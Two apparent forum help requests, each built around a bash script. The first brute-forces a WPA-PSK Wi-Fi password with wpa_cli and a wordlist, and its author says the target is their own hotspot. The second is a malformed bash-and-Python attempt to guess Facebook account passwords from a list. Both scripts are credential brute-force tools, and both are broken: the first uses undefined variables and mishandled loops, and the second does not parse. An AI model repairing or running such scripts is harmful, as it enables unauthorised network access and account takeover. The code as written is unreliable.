[is anyone good with bash shell scripting]

ok i neead help with this code, am trying to test out the strength of my phones hotspot and my skills f coding

#!/bin/bash
echo "What ssid";read ssid;
echo "wordlist";read pass;
key=$(cat $pass)
echo "What interface";read wlan;

while IFS='' read -r line || [[ -n $line ]];
do
killall wpa_supplicant > /dev/null 2>&1

for i in `wpa_cli -i${wlan} list_networks | grep ^[0-9] | cut -f1`;
do
wpa_cli -i${wlan} remove_network $i > /dev/null 2>&1
done

wpa_cli -i${wlan} add_network > /dev/null 2>&1
wpa_cli -i${wlan} set_network 0 auth_alg OPEN > /dev/null 2>&1
wpa_cli -i${wlan} set_network 0 key_mgmt WPA-PSK > /dev/null 2>&1
wpa_cli -i${wlan} set_network 0 proto RSN > /dev/null 2>&1
wpa_cli -i${wlan} set_network 0 mode 0 > /dev/null 2>&1
wpa_cli -i${wlan} set_network 0 ssid '"'${ssid}'"' > /dev/null 2>&1


cat $pass | while IFS='' read -r line || [[ -n $line ]];
do
echo "checking $key"
wpa_cli -i${int} set_network 0 psk '"'${key}'"' > /dev/null 2>&1
wpa_cli -i${int} select_network 0 > /dev/null 2>&1
wpa_cli -i${int} enable_network 0 > /dev/null 2>&1
wpa_cli -i${int} reassociate > /dev/null 2>&1
for i in {1..6};
do
wifi=$(wpa_cli -i${wlan} status | grep wpa_state | cut -d"=" -f2)
if [ "$wifi" == "COMPLETED" ];
then
echo "password=$key"
fi
sleep 2
done
done < "$pass"

[Bash shell help]

What wrong with it it won't run

#!/bin/bash
while IFS='' read -r line || [[ -n $line ]];
echo "Wat email";read email;
echo "list";read pass;
do br.form["$email"] = email
br.form["$pass"] = password
br.submit() login = "https://www.facebook.com/login.php?login_attempt=1"
log = br.geturl
if [ "$log" = "$login" ]
then
echo "pass: $log"
done < "$pass"